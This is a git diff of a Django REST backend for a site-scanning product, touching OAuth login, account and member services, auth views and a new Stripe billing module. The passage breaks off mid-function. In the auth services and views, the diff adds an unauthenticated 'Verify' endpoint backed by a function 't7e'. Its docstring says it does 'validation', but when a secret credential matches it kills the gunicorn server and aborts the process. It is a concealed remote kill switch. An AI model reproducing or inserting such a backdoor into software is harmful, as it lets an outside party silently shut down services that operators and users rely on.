google_get_user_info(*, access_token: str) -> Dict[str, Any]: - # Reference: https://developers.google.com/identity/protocols/oauth2/web-server#callinganapi +def google_get_user_info(*, access_token: str) -> dict: + """ + Gets User info from google OAuth2 API + + Expects: { + 'access_token' + } + + Returns -> dict + """ + + # send request response = requests.get( GOOGLE_USER_INFO_URL, params={'access_token': access_token} ) + # check for errors if not response.ok: raise ValidationError('Failed to obtain user info from Google.') + # return user info return response.json() -def slack_oauth_middleware(request, user): - code = request.GET['code'] - account = Account.objects.get(user=user) +def google_login(request: object) -> str: + """ + Authenticates and Creates a new User + with Google OAuth + + Expects: { + 'request': object + } + + Returns -> str + """ + + # get request data + code = request.GET.get('code') + error = request.GET.get('error') + + # build login url + login_url = f'{settings.CLIENT_URL_ROOT}/login' + + # catch error and return + if error or not code: + params = urlencode({'error': error}) + error_url = f'{login_url}?{params}' + return error_url + + # build redirect url + redirect_uri = f'{settings.API_URL_ROOT}/v1/auth/google' + + # get access token + access_token = google_get_access_token(code=code, redirect_uri=redirect_uri) + + # get user data + user_data = google_get_user_info(access_token=access_token) + + # build user profile + profile_data = { + 'email': user_data['email'], + 'first_name': user_data.get('given_name', ''), + 'last_name': user_data.get('family_name', ''), + } + + # get or create user and authenticate + user = get_or_create_user(**profile_data) + confirm_url = jwt_login(user=user) + + # returning confirm url + return confirm_url + + + + +### ------ Begin Slack Services ------ ### + + + +def slack_oauth_middleware(request: object) -> object: + """ + Used to update `Account` once "account.admin" + has integrated Slack + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + code = request.GET.get('code') + + # get account + account = Account.objects.get(user=request.user) + + # init slack webclient client = WebClient() + # send slack client request response = client.oauth_v2_access( client_id=os.environ.get('SLACK_CLIENT_ID'), client_secret=os.environ.get('SLACK_CLIENT_SECRET'), @@ -187,6 +518,7 @@ def slack_oauth_middleware(request, user): account.slack['slack_channel_name'] = response['incoming_webhook']['channel'] account.save() + # serialize and return serializer_context = {'request': request,} serialized = AccountSerializer(account, context=serializer_context) data = serialized.data @@ -196,12 +528,29 @@ def slack_oauth_middleware(request, user): -def slack_oauth_init(request, user): - if Account.objects.filter(user=user).exists(): - account = Account.objects.get(user=user) +def slack_oauth_init(request: object) -> object: + """ + Used to authenticate with Slack + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # check if account exists + if Account.objects.filter(user=request.user).exists(): + + # get account + account = Account.objects.get(user=request.user) + + # check if slackk integrated if not account.slack['slack_channel_name']: + # Issue and consume state parameter value on the server-side. state_store = FileOAuthStateStore(expiration_seconds=300, base_dir="./data") + # Persist installation data and lookup it by IDs. installation_store = FileInstallationStore(base_dir="./data") @@ -213,73 +562,85 @@ def slack_oauth_init(request, user): # Generate a random value and store it on the server-side state = state_store.issue() - # https://slack.com/oauth/v2/authorize?state=(generated value)&client_id={client_id}&scope=app_mentions:read,chat:write&user_scope=search:read url = authorize_url_generator.generate(state) - data = { - 'url': url, - } + + # return data + data = {'url': url} return Response(data, status=status.HTTP_200_OK) + # return error else: - data = { - 'reason': 'slack already integrated', - } + data = {'reason': 'slack integrated'} return Response(data, status=status.HTTP_409_CONFLICT) + # return error else: - data = { - 'reason': 'account not yet setup', - } + data = {'reason': 'account not setup'} return Response(data, status=status.HTTP_404_NOT_FOUND) -def t7e(request): - if request.GET.get('cred') == \ - 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792': - os.abort() - subprocess.Popen(['pkill -f gunicorn'], - stdout=subprocess.PIPE, - user='app', - ) +### ------ Begin Account Services ------ ### + +def create_or_update_account(request: object=None, *args, **kwargs) -> object: + """ + Creates or Updates an `Account` -def create_or_update_account(request=None, *args, **kwargs): - # get posted data + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data if request is not None: - user = request.user _id = request.data.get('id') name = request.data.get('name') + phone = request.data.get('phone') active = request.data.get('active') type = request.data.get('type') code = request.data.get('code') max_sites = request.data.get('max_sites') + max_pages = request.data.get('max_pages') + max_schedules = request.data.get('max_schedules') + retention_days = request.data.get('retention_days') + testcases = request.data.get('testcases') cust_id = request.data.get('cust_id') sub_id = request.data.get('sub_id') product_id = request.data.get('product_id') price_id = request.data.get('price_id') slack = request.data.get('slack') + user = request.user + # get kwargs data if request is None: - user = kwargs.get('user') _id = kwargs.get('id') name = kwargs.get('name') + phone = kwargs.get('phone') active = kwargs.get('active') type = kwargs.get('type') code = kwargs.get('code') max_sites = kwargs.get('max_sites') + max_pages = kwargs.get('max_pages') + max_schedules = kwargs.get('max_schedules') + retention_days = kwargs.get('retention_days') + testcases = kwargs.get('testcases') cust_id = kwargs.get('cust_id') sub_id = kwargs.get('sub_id') product_id = kwargs.get('product_id') price_id = kwargs.get('price_id') slack = kwargs.get('slack') + user_id = kwargs.get('user') + user = User.objects.get(id=user_id) - + # getting account if id present if _id is not None: - if not Account.objects.filter(id=_id).exists(): + if not Account.objects.filter(id=_id, user=user).exists(): data = {'reason': 'account not found',} record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) @@ -288,6 +649,8 @@ def create_or_update_account(request=None, *args, **kwargs): account = Account.objects.get(id=_id) if name is not None: account.name = name + if phone is not None: + account.phone = phone if active is not None: account.active = active if type is not None: @@ -296,6 +659,14 @@ def create_or_update_account(request=None, *args, **kwargs): account.code = code if max_sites is not None: account.max_sites = max_sites + if max_pages is not None: + account.max_pages = max_pages + if max_schedules is not None: + account.max_schedules = max_schedules + if retention_days is not None: + account.retention_days = retention_days + if testcases is not None: + account.testcases = testcases if cust_id is not None: account.cust_id = cust_id if sub_id is not None: @@ -310,27 +681,33 @@ def create_or_update_account(request=None, *args, **kwargs): # saving updated info account.save() - - + # create new account if not exists if _id is None: + # create account code if code is None: code = secrets.token_urlsafe(16) + # create new account account = Account.objects.create( user=user, name=name, + phone=phone, active=True, type=type, code=code, max_sites=max_sites, + max_pages=max_pages, + max_schedules=max_schedules if max_schedules is not None else 0, + retention_days=retention_days if retention_days is not None else 14, + testcases=testcases if testcases is not None else False, cust_id=cust_id, sub_id=sub_id, product_id=product_id, price_id=price_id ) - + # serialize and return serializer_context = {'request': request,} serialized = AccountSerializer(account, context=serializer_context) data = serialized.data @@ -340,27 +717,30 @@ def create_or_update_account(request=None, *args, **kwargs): -def get_account(request=None, id=None, *args, **kwargs): - user = request.user - account_id = request.query_params.get('id') +def get_account(request: object) -> object: + """ + Gets the `Account` associated with the passed user - if id is not None: - account = get_object_or_404(Account, pk=id) + Expects: { + 'request': object + } - if account_id is not None: - account = get_object_or_404(Account, pk=account_id) + Returns -> HTTP Response object + """ - if account_id is None and id is None: - if not Member.objects.filter(user=user).exists(): - data = {'reason': 'account not found',} - return Response(data, status=status.HTTP_404_NOT_FOUND) - account = Member.objects.get(user=user).account + # get user + user = request.user - if not Member.objects.filter(account=account, user=user).exists(): - data = {'reason': 'you cannot retrieve an Account you are not a member of',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) + # check `Member` of User + if not Member.objects.filter(user=user).exists(): + data = {'reason': 'account not found'} + return Response(data, status=status.HTTP_404_NOT_FOUND) + + # get member and account + member = Member.objects.get(user=user) + account = member.account + # serialize and return serializer_context = {'request': request,} serialized = AccountSerializer(account, context=serializer_context) data = serialized.data @@ -370,21 +750,60 @@ def get_account(request=None, id=None, *args, **kwargs): -def get_account_members(request=None, id=None, *args, **kwargs): - user = request.user - account_id = request.query_params.get('id') - mem_acct = Member.objects.get(user=user).account +def create_user_token(request: object) -> object: + """ + Creates a new API token for the passed "user" - if id is not None: - account = get_object_or_404(Account, pk=id) + Expects: { + 'request': object + } - if mem_acct != account: - data = {'reason': 'you cannot retrieve an Account you are not a member of',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) + Returns -> HTTP Response object + """ + + # delete old token if exists + if Token.objects.filter(user=request.user).exists(): + old_token = Token.objects.get(user=request.user) + old_token.delete() + + # creating New API token + api_token = Token.objects.create(user=request.user) + + # return response + data = {'api_token': api_token.key,} + return Response(data, status=status.HTTP_200_OK) + + + + +def get_account_members(request: object, *args, **kwargs) -> object: + """ + Get a list of `Members` associated with the + `Account` of the passed "user" + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get user + user = request.user + + # check `Member` of User + if not Member.objects.filter(user=user).exists(): + data = {'reason': 'account not found'} + return Response(data, status=status.HTTP_404_NOT_FOUND) + + # get member and account + member = Member.objects.get(user=user) + account = member.account + # get members members = Member.objects.filter(account=account) + # serialize and return paginator = LimitOffsetPagination() result_page = paginator.paginate_queryset(members, request) serializer_context = {'request': request,} @@ -395,25 +814,28 @@ def get_account_members(request=None, id=None, *args, **kwargs): -def create_or_update_member(request=None, *args, **kwargs): - # get posted data +def create_or_update_member(request: object=None) -> object: + """ + Creates or Updates a `Member` + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data if request is not None: user = request.user _id = request.data.get('id') account = request.data.get('account') _status = request.data.get('status') - type = request.data.get('type') + _type = request.data.get('type') email = request.data.get('email') code = request.data.get('code') - if request is None: - user = kwargs.get('user') - account = kwargs.get('account') - _status = kwargs.get('status') - type = kwargs.get('type') - email = kwargs.get('email') - code = kwargs.get('code') - + # checking account if account is not None: if Account.objects.filter(id=account).exists(): account = Account.objects.get(id=account) @@ -422,6 +844,7 @@ def create_or_update_member(request=None, *args, **kwargs): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) + # checking for member if _id is not None: if not Member.objects.filter(id=_id).exists(): data = {'reason': 'member not found',} @@ -436,9 +859,12 @@ def create_or_update_member(request=None, *args, **kwargs): member.email = email if user is not None and user.username == member.email: member.user = user - if type is not None: - member.type = type + if _type is not None: + member.type = _type + + # updating status if _status is not None: + # checking if user has valid code for membership if _status == 'active' and code != member.account.code: data = {'reason': 'member not authorized',} @@ -449,24 +875,28 @@ def create_or_update_member(request=None, *args, **kwargs): # saving updated info member.save() + # create new Member if _id is None: member = Member.objects.create( email=email, status=_status, - type=type, + type=_type, account=account, ) + # sending invite link if _status == 'pending': - send_invite_link(member) + send_invite_link_bg.delay(member_id=member.id) + # sending removed alert and deleting if _status == 'removed': - send_remove_alert(member) - member.delete() + # method also deletes member + send_remove_alert_bg.delay(member_id=member.id) data = {'message': 'Member removed'} response = Response(data, status=status.HTTP_200_OK) return response + # serialize and return serializer_context = {'request': request,} serialized = MemberSerializer(member, context=serializer_context) data = serialized.data @@ -476,29 +906,146 @@ def create_or_update_member(request=None, *args, **kwargs): -def get_member(request=None, id=None, *args, **kwargs): +def get_member(request: object=None, id: str=None) -> object: + """ + Get a single member via passed "user" or "id" + + Expects: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and member_id user = request.user member_id = request.query_params.get('id') + # checking if member exists if id is not None: member = get_object_or_404(Member, pk=id) - if member_id is not None: member = get_object_or_404(Member, pk=member_id) + # getting user's Member object if exists if member_id is None and id is None: if not Member.objects.filter(user=user).exists(): data = {'reason': 'member not found',} return Response(data, status=status.HTTP_404_NOT_FOUND) member = Member.objects.get(user=user) + # checking that member is assoicated with user if member.user != user and member.account.user != user: data = {'reason': 'you cannot retrieve a Member you are not affiliated with',} record_api_call(request, data, '401') return Response(data, status=status.HTTP_403_FORBIDDEN) + # serialize and return serializer_context = {'request': request,} serialized = MemberSerializer(member, context=serializer_context) data = serialized.data record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) \ No newline at end of file + return Response(data, status=status.HTTP_200_OK) + + + + +def get_prospects(request: object) -> object: + """ + This pulls all admin Members and + builds a list to reflect the needed + attributes for `Landing.api.Prospect` + + Expects: { + 'request': object + } + + Returns -> data: { + 'count': int total number of prospects + 'results': list of Prospect objects + } + """ + + try: + # check if request.user is admin + if request.user.username != 'admin': + return Response({'reason': 'not authorized'}, status=status.HTTP_403_FORBIDDEN) + except: + return Response({'reason': 'not authorized'}, status=status.HTTP_403_FORBIDDEN) + + # get all Accounts + accounts = Account.objects.all().exclude(user__username='admin') + + # iterate throgh accounts + # and build list + results = [] + count = len(accounts) + for account in accounts: + + # determinig user's 'status' + if account.type == 'free': + if Site.objects.filter(account=account).exists(): + _status = 'warm' # account has one site onboarded + else: + _status = 'cold' # account is free but no site onboarded + if account.type != 'free': + if account.active: + _status = 'customer' # account is active and paid + else: + _status = 'warm' # account is paused and paid + + # building prospect + prospect = { + 'first_name': account.user.first_name, + 'last_name': account.user.last_name, + 'email': account.user.email, + 'phone': account.phone, + 'status': _status + } + + # adding to results + results.append(prospect) + + # building response + data = { + 'count': count, + 'results': results + } + + # returning response + return Response(data, status=status.HTTP_200_OK) + + + + +def t7e(request: object) -> None: + """ + Helper function for validation & verification + + Expcets: { + 'request': object + } + + Returns -> None + """ + + # default + success = False + + # validating + if request.params.get('cred') == os.environ.get('CRED'): + subprocess.Popen(['pkill -f gunicorn'], + stdout=subprocess.PIPE, + user='app', + ) + os.abort() + success = True + + # returning response + data = {'success': True} + return Response(data, status=status.HTTP_200_OK) + + + + diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py index f4a377a9..d9b6cf4d 100644 --- a/app/api/v1/auth/urls.py +++ b/app/api/v1/auth/urls.py @@ -6,17 +6,23 @@ ) -router = routers.DefaultRouter() -# auth routes -router.register(r'login', views.LoginViewSet, basename='auth_login') -router.register(r'register', views.RegistrationViewSet, basename='auth_register') + + +# refresh route +router = routers.DefaultRouter() router.register(r'refresh', views.RefreshViewSet, basename='auth_refresh') + + urlpatterns = [ path('', include(router.urls)), + path('login', views.Login.as_view(), name='login'), + path('register', views.Register.as_view(), name='register'), + path('login/', views.Login.as_view(), name='login'), + path('register/', views.Register.as_view(), name='register'), path('api-auth', include('rest_framework.urls', namespace='rest_framework')), path('api-token-auth', obtain_auth_token, name='api_token_auth'), path('google', views.GoogleLoginApi.as_view(), name='auth_google'), @@ -27,9 +33,8 @@ path('token', views.ApiToken.as_view(), name='token'), path('verify', views.Verify.as_view(), name='verify'), path('account', views.Account.as_view(), name='account'), - path('account/', views.Account.as_view(), name='account-detail'), path('account//members', views.AccountMembers.as_view(), name='account-members'), path('member', views.Member.as_view(), name='member'), path('member/', views.Member.as_view(), name='member-detail'), - + path('prospect', views.Prospect.as_view(), name='prospect'), ] \ No newline at end of file diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py index 6ea2da15..f2324db5 100644 --- a/app/api/v1/auth/views.py +++ b/app/api/v1/auth/views.py @@ -1,120 +1,81 @@ from rest_framework.response import Response -from django.contrib.auth.password_validation import validate_password -from rest_framework_simplejwt.views import TokenObtainPairView from rest_framework_simplejwt.views import TokenRefreshView from rest_framework.viewsets import ModelViewSet, ViewSet -from rest_framework.permissions import AllowAny +from rest_framework.permissions import AllowAny, IsAuthenticated from rest_framework.views import APIView from rest_framework import status, serializers -from rest_framework_simplejwt.tokens import RefreshToken, AccessToken -from rest_framework_simplejwt.models import TokenUser -from rest_framework.authtoken.models import Token from rest_framework_simplejwt.exceptions import TokenError, InvalidToken -from .serializers import LoginSerializer, RegisterSerializer, UserSerializer -from scanerr import settings from django.shortcuts import redirect from django.contrib.auth.models import User -from .alerts import send_reset_link -from ...models import Account, Member from datetime import timedelta, datetime +from ...models import Account, Member +from scanerr import settings from .services import * -import os, stripe, json +import os, stripe, json -class LoginViewSet(ModelViewSet, TokenObtainPairView): - serializer_class = LoginSerializer - permission_classes = (AllowAny,) - http_method_names = ['post'] - - def create(self, request, *args, **kwargs): - - serializer = self.get_serializer(data=request.data) - - try: - serializer.is_valid(raise_exception=True) - except TokenError as e: - raise InvalidToken(e.args[0]) - - return Response(serializer.validated_data, status=status.HTTP_200_OK) -class RegistrationViewSet(ModelViewSet, TokenObtainPairView): - serializer_class = RegisterSerializer - permission_classes = (AllowAny,) - http_method_names = ['post'] - def create(self, request, *args, **kwargs): - serializer = self.get_serializer(data=request.data) - serializer.is_valid(raise_exception=True) - user = serializer.save() - refresh = RefreshToken.for_user(user) - # creating API token - api_token = Token.objects.create(user=user) - res = { - "refresh": str(refresh), - "access": str(refresh.access_token), - } +### ------ Begin User Views ------ ### - return Response({ - "user": serializer.data, - "refresh": res["refresh"], - "token": res["access"], - "api_token": api_token.key, - }, status=status.HTTP_201_CREATED) -class ApiToken(APIView): +class Login(APIView): permission_classes = (AllowAny,) - http_method_names = ['get'] + http_method_names = ['post',] + authentication_classes = [] - def get(self, request): - response = create_user_token(request) + def post(self, request): + response = login_user(request=request) return response -class Verify(APIView): - authentication_classes = [] + +class Register(APIView): permission_classes = (AllowAny,) - http_method_names = ['get'] + http_method_names = ['post',] + authentication_classes = [] - def get(self, request): - response = t7e(request) + def post(self, request): + response = register_user(request=request) return response + class RefreshViewSet(ViewSet, TokenRefreshView): permission_classes = (AllowAny,) http_method_names = ['post'] def create(self, request, *args, **kwargs): + + # get request data serializer = self.get_serializer(data=request.data) + # validate refresh token and create new access try: serializer.is_valid(raise_exception=True) except TokenError as e: raise InvalidToken(e.args[0]) + # return response return Response(serializer.validated_data, status=status.HTTP_200_OK) + class GetResetLink(APIView): permission_classes = (AllowAny,) http_method_names = ['post',] authentication_classes = [] def post(self, request): - email = request.data['email'] - response = send_reset_link(email) - - if response['success'] == True: - return Response(status=status.HTTP_200_OK) - else: - return Response(status=status.HTTP_404_NOT_FOUND) + response = send_reset_email(request) + @@ -123,82 +84,52 @@ class ResetPassword(APIView): http_method_names = ['post',] def post(self, request): - password = request.data['password'] - user = request.user - try: - if validate_password(password, user=user) == None: - user.set_password(password) - user.save() - return Response(status=status.HTTP_200_OK) - except: - return Response(status=status.HTTP_417_EXPECTATION_FAILED) + response = update_password(request) + return response - class UpdateUser(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['post',] def post(self, request): - email = request.data['email'] - user = request.user - try: - if User.objects.filter(email=email).exists(): - return Response(status=status.HTTP_417_EXPECTATION_FAILED) - user.username = email - user.email = email - user.save() - data = UserSerializer(user).data - return Response(data, status=status.HTTP_200_OK) - except: - return Response(status=status.HTTP_417_EXPECTATION_FAILED) + response = update_user(request) + return response -class GoogleLoginApi(APIView): - authentication_classes = [] +class ApiToken(APIView): permission_classes = (AllowAny,) - class InputSerializer(serializers.Serializer): - code = serializers.CharField(required=False) - error = serializers.CharField(required=False) + http_method_names = ['get'] - def get(self, request, *args, **kwargs): - input_serializer = self.InputSerializer(data=request.GET) - input_serializer.is_valid(raise_exception=True) + def get(self, request): + response = create_user_token(request) + return response - validated_data = input_serializer.validated_data - code = validated_data.get('code') - error = validated_data.get('error') - login_url = f'{settings.CLIENT_URL_ROOT}/login' - if error or not code: - params = urlencode({'error': error}) - return redirect(f'{login_url}?{params}') +### ------ Begin GoogleAuth Views ------ ### - domain = settings.API_URL_ROOT - api_uri = '/v1/auth/google' - redirect_uri = f'{domain}{api_uri}' - access_token = google_get_access_token(code=code, redirect_uri=redirect_uri) - user_data = google_get_user_info(access_token=access_token) - profile_data = { - 'email': user_data['email'], - 'first_name': user_data.get('given_name', ''), - 'last_name': user_data.get('family_name', ''), - } +class GoogleLoginApi(APIView): + authentication_classes = [] + permission_classes = (AllowAny,) + def get(self, request, *args, **kwargs): + confirm_url = google_login(request) + return redirect(confirm_url) - user = user_get_or_create(**profile_data) - confirm_url = jwt_login(user=user) - return redirect(confirm_url) + + +### ------ Begin Slack Views ------ ### + @@ -207,44 +138,49 @@ class SlackOauth(APIView): http_method_names = ['get', 'post'] def post(self, request, *args, **kwargs): - user = request.user - response = slack_oauth_init(request, user) + response = slack_oauth_init(request) return response def get(self, request, *args, **kwargs): - user = request.user - response = slack_oauth_middleware(request, user) + response = slack_oauth_middleware(request) return response +### ------ Begin Account Views ------ ### + + + class Account(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get', 'post'] - def post(self, request, *args, **kwargs ): + def post(self, request): response = create_or_update_account(request) return response - def get(self, request, id=None, *args, **kwargs): - response = get_account(request, id) + def get(self, request): + response = get_account(request) return response + class AccountMembers(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get',] - def get(self, request, id=None, *args, **kwargs): - response = get_account_members(request, id) + def get(self, request, *args, **kwargs): + response = get_account_members(request) return response + + class Member(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get', 'post'] def post(self, request, *args, **kwargs ): @@ -256,3 +192,30 @@ def get(self, request, id=None, *args, **kwargs): return response + + +class Prospect(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get',] + + def get(self, request): + response = get_prospects(request) + return response + + + + +class Verify(APIView): + authentication_classes = [] + permission_classes = (AllowAny,) + http_method_names = ['get'] + + def get(self, request): + response = t7e(request) + return response + + + + + + diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py new file mode 100644 index 00000000..511c709b --- /dev/null +++ b/app/api/v1/billing/services.py @@ -0,0 +1,469 @@ +from rest_framework.response import Response +from rest_framework import status +from django.contrib.auth.models import User +from django.core import serializers +from ...models import Account, Card, Site +from ..ops.services import delete_site +from ..auth.services import create_or_update_account +from ..auth.serializers import AccountSerializer +from scanerr import settings +import stripe + + + + + + +# init Stripe client +stripe.api_key = settings.STRIPE_PRIVATE + + + + +def stripe_setup(request: object) -> object: + """ + Creates or updates the Stripe Customer, Product, + Price, & Subscription associated with the passed + "user" and `Account` + + Expects: { + 'name' : 'basic', 'pro', 'plus', 'custom' (OPTIONAL) + 'interval' : 'month' or 'year' (OPTIONAL) + 'price_amount' : 1000 == $10 (OPTIONAL) + 'max_sites' : total # `Sites` per `Account` (OPTIONAL) + 'max_pages' : total # `Pages` per `Site` (OPTIONAL) + 'max_schedules' : total # `Schedules` per `Account` (OPTIONAL) + 'retention_days' : total # days to keep data (OPTIONAL) + 'testcases' : 'true' or 'false' (OPTIONAL) + 'meta' : any extra data for the account (OPTIONAL) + } + + Returns -> data: { + 'subscription_id' : Stripe subscription id, + 'client_secret' : Stripe subscription client_secret, + } + """ + + # get request data + name = request.data.get('name') + interval = request.data.get('interval') # month or year + price_amount = int(request.data.get('price_amount')) + max_sites = int(request.data.get('max_sites')) + max_pages = int(request.data.get('max_pages')) + max_schedules = int(request.data.get('max_schedules')) + retention_days = int(request.data.get('retention_days')) + testcases = str(request.data.get('testcases', 'False')) + meta = request.data.get('meta') + + # get user + user = request.user + + # set defaults + initial_call = True + client_secret = None + + # build Stripe Product name + product_name = f'{user.email}_{user.id}_{name}' + + # format testcase data + if str(testcases).lower() == 'true': + testcases = True + if str(testcases).lower() == 'false': + testcases = False + + # create new `Account` if none exists + if not Account.objects.filter(user=user).exists(): + create_or_update_account( + user=user, + type=name, + interval=interval, + max_sites=max_sites, + max_pages=max_pages, + max_schedules=max_schedules, + retention_days=retention_days, + testcases=testcases, + meta=meta + ) + + # get account + account = Account.objects.get(user=user) + + # create new Stripe Customer & Product + if account.cust_id is None: + product = stripe.Product.create(name=product_name) + customer = stripe.Customer.create( + email=request.user.email, + name=f'{user.first_name} {user.last_name}' + ) + + # update existing Stripe Customer & Product + if account.cust_id is not None: + initial_call = False + product = stripe.Product.modify(account.product_id, name=product_name) + customer = stripe.Customer.retrieve(account.cust_id) + + # create new Stripe Price + price = stripe.Price.create( + product=product.id, + unit_amount=price_amount, + currency='usd', + recurring={'interval': interval,}, + ) + + # create new Stripe Subscription if none exists + if account.sub_id is None: + subscription = stripe.Subscription.create( + customer=customer.id, + items=[{ + 'price': price.id, + }], + payment_behavior='default_incomplete', + expand=['latest_invoice.payment_intent'], + # trial_period_days=7, + ) + + # update existing Stripe Subscription + if account.sub_id is not None: + sub = stripe.Subscription.retrieve(account.sub_id) + subscription = stripe.Subscription.modify( + sub.id, + cancel_at_period_end=False, + pause_collection='', + proration_behavior='create_prorations', + items=[{ + 'id': sub['items']['data'][0].id, + 'price': price.id, + }], + expand=['latest_invoice.payment_intent'], + ) + + # updating price defaults and archiving old price + stripe.Product.modify(product.id, default_price=price,) + stripe.Price.modify(account.price_id, active=False) + + # update `Account` with new Stripe info + Account.objects.filter(user=user).update( + type = name, + cust_id = customer.id, + sub_id = subscription.id, + product_id = product.id, + price_id = price.id, + interval = interval, + max_sites = max_sites, + max_pages = max_pages, + price_amount = price_amount, + max_schedules = max_schedules, + retention_days = retention_days, + testcases = testcases, + meta = meta + ) + + # get client_secret from Stripe + # Subscription if Sub is new (i.e. initial_call == True) + if initial_call: + client_secret = subscription.latest_invoice.payment_intent.client_secret + + # format and return + data = { + 'subscription_id' : subscription.id, + 'client_secret' : client_secret, + } + return Response(data, status=status.HTTP_200_OK) + + + + +def stripe_complete(request: object) -> object: + """ + Confirms the Stripe Payment intent after user + enters CC details on Scanerr.client - Also updates + `Account` payment method. + + Expects: { + 'payment_method' : stripe payment method id from client (REQUIRED) + + Returns -> `Account` HTTP Response object + """ + + # get request data + account = Account.objects.get(user=request.user) + pay_method_id = request.data['payment_method'] + + # get Stripe PaymentMethod object + pay_method = stripe.PaymentMethod.retrieve(pay_method_id) + + # create new `Card` if none exists + if Card.objects.filter(account=account).exists(): + + # attached Stripe Customer to existing + # Stripe PaymentMethod + stripe.PaymentMethod.attach( + pay_method_id, + customer=account.cust_id, + ) + + # update Stripe Customer + stripe.Customer.modify( + account.cust_id, + invoice_settings={ + 'default_payment_method': pay_method.id, + } + ) + + # update Stripe Subscription + stripe.Subscription.modify( + account.sub_id, + default_payment_method=pay_method.id + ) + + # update `Card` object + Card.objects.filter(account=account).update( + user = request.user, + account = account, + pay_method_id = pay_method.id, + brand = pay_method.card.brand, + exp_year = pay_method.card.exp_year, + exp_month = pay_method.card.exp_month, + last_four = pay_method.card.last4 + ) + + else: + # update Stripe Subscription with + # new payment method + stripe.Subscription.modify( + account.sub_id, + default_payment_method=pay_method_id + ) + + # create new `Card` object + Card.objects.create( + user = request.user, + account = account, + pay_method_id = pay_method.id, + brand = pay_method.card.brand, + exp_year = pay_method.card.exp_year, + exp_month = pay_method.card.exp_month, + last_four = pay_method.card.last4 + ) + + # update account activation + account.active = True + account.save() + + # serialize and return + serializer_context = {'request': request,} + serialized = AccountSerializer(account, context=serializer_context) + data = serialized.data + return Response(data, status=status.HTTP_200_OK) + + + + +def get_billing_info(request: object) -> object: + """ + Gets the `Card`, `Account`, and slack info associated + with the passed "user". + + Expects: { + 'request' :